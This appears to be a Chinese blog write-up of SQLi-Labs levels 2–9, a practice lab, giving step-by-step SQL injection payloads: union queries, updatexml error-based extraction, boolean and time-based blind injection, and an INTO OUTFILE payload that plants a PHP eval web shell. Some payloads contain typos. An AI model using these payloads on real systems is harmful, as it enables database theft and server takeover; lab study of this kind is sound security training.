sqli_labs闯关2-9

Less2 基于整数报错的注入
当id=1’时,报错信息为’ LIMIT 0,1,说明 查询条件为where xx=id,id是一个整数在这里插入图片描述
使用union select即可在这里插入图片描述
Less 3 基于单引号加括号
当id=1’,报错信息 ‘1’’) LIMIT 0,1,分析查询语句条件where xx=‘id’)
在这里插入图片描述
使用id=0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
在这里插入图片描述

Less4 基于双引号报错注入
id=1’不报错
在这里插入图片描述
id=1",报出"1"") LIMIT 0,1,推测查询条件 where xx=“id”)
在这里插入图片描述

将上述payload的单引号换成双引号就OK了
Less 5 基于updatexml报错注入
依然是单引号闭合,但不再有回显
在这里插入图片描述
爆表

?id=1' and updatexml(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+

在这里插入图片描述
爆users表中的列名

?id=1' and updatexml(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) --+

在这里插入图片描述
这里并没有爆出我们想要的password字段,上网了解后才知道,updatexml的最大长度是32位的,所以有所局限
故此关,还是用布尔盲注

?id=1' and length(database())>=1 --+

更改1位置上的值,爆出数据库名的长度为8
?id=1' and substr(database(),1,1)='a' --+//对数据库名第一个字符进行爆破,可以用burpsuite抓包爆破,很快就可以爆出数据库名security
?id=1' and substr((select table_name from infromation_schema.tables where table_shema='security' limit 0,1),1,1)='a' --+//爆出表名
依次类推,爆出列名甚至内容
Less-6 基于双引号字符型注入
和上题一样,将单引号改为双引号就OK
Less-7 基于写入文件的注入

into outfile path用于在指定路径写入文件
load_file(path) 用于读文件
读写文件收到mysql配置文件my.ini文件中secure_fle_priv的影响
当secure_fle_priv=可以读写文件
secure_fle_priv=null不能进行文件读写
secure_fle_priv=path 只能对指定文件进行读写

所以读写文件有两个前提:1、知道文件绝对路径2、secure_file_priv设置不为空
多次测试出id的闭合方式为((’’))get提交

?id=-1')) union select 1,"<?php @eval($_POST['x']);?>",3 into outfile 'D:/phpstudy_pro/WWW/sqli/Less-7/cc.php' --+

在这里插入图片描述
将一句话木马写入文件中,直接用蚁剑连接即可
在这里插入图片描述
Less-8 基于布尔盲注
?id=1’ --+ 和?id=1" --+发现都可以
构造参数 ?id=1' and length(database())=n --+改变n的值,发现数据库长度为8
?id=1' and substr(database(),pos,1)='a'--+改变pos从1-8,爆出数据库名security
?id=1' and substr(select table_name from information_schema.tables where table_schema='security' limit 0,1,pos,1)='a'--+ 爆出表名,users…
编写盲注的python脚本https://paste.ubuntu.com/p/dmZ3pRHmN2/
Less-9 基于时间盲注
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),0) --+利用if表达式,根据响应时间逐一,可以使用Less 8的脚本,稍微改一下就好

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值